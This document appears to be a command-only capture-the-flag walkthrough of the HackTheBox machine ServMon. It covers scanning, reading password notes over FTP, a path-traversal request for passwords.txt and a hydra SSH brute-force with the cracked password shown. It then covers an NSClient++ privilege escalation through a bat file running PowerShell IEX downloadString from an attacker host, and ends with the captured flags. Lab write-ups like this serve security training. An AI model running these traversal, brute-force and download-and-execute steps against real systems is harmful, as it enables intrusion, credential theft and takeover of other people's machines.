HackTheBox ServMon

$ nmap -sV -sC -p- -oN 10.10.10.184 10.10.10.184
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20  12:05PM       <DIR>          Users
| ftp-syst:
|_  SYST: Windows_NT
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_  256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5666/tcp open  tcpwrapped
8443/tcp open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest:
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|_    jobs
| http-methods:
|_  Supported Methods: GET
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2020-01-14T13:24:20
| Not valid after:  2021-01-13T13:24:20
| MD5:   1d03 0c40 5b7a 0f6d d8c8 78e3 cba7 38b4
|_SHA-1: 7083 bd82 b4b0 f9c0 cc9c 5019 2f9f 9291 4694 8334
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=5/24%Time=60AB585F%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\x04`\xabZ\0\xa2\x04\x02\x
SF:02\x01,\xa4\x02\x04\0ay\0\0\x12\x02\x18\0\x1aC\n\x07workers\x12\n\n\x04
SF:jobs\x12\x02\x18\x0e\x12\x0f")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nCo
SF:ntent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourReque
SF:st,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not
SF:\x20found")%r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018
SF:\r\n\r\nDocument\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\
SF:nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 10m48s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-05-24T07:51:29
|_  start_date: N/A

$ cat Confidential.txt
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine


$ cat Notes\ to\ do.txt
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

GET /../../../../../../../../../../../../users/nathan/desktop/passwords.txt HTTP/1.1

$ hydra -L users.txt -P pwds.txt 10.10.10.184 ssh
login: nadine   password: L1k3B1gBut7s@W0rk

ssh [email protected]

nadine@SERVMON C:\Users\Nadine\Desktop>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
   Connection-specific DNS Suffix  . :
   IPv6 Address. . . . . . . . . . . : dead:beef::5d02:1316:dadf:93ca
   Temporary IPv6 Address. . . . . . : dead:beef::c5b9:8e42:244:2bf2
   Link-local IPv6 Address . . . . . : fe80::5d02:1316:dadf:93ca%3
   IPv4 Address. . . . . . . . . . . : 10.10.10.184
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:1a7c%3
                                       10.10.10.2
nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt
ba7a80db6c8442d90b484d15b024f177

C:\Program Files\NSClient++>type nsclient.ini
ew2x6SsGTxjRwXOT

ssh -L 8443:127.0.0.1:8443 [email protected]

echo powershell IEX(New-Object Net.webClient).downloadString('http://10.10.14.6/script.ps1') > C:\temp\test.bat

PS C:\users\administrator\Desktop> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
   Connection-specific DNS Suffix  . :
   IPv6 Address. . . . . . . . . . . : dead:beef::21ef:5221:60ac:df54
   Temporary IPv6 Address. . . . . . : dead:beef::7444:73ab:6f4b:1bd
   Link-local IPv6 Address . . . . . : fe80::21ef:5221:60ac:df54%3
   IPv4 Address. . . . . . . . . . . : 10.10.10.184
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:1a7c%3
                                       10.10.10.2
PS C:\users\administrator\Desktop> type root.txt
bdddf2539a5198a0b4df7c0e7b09cea3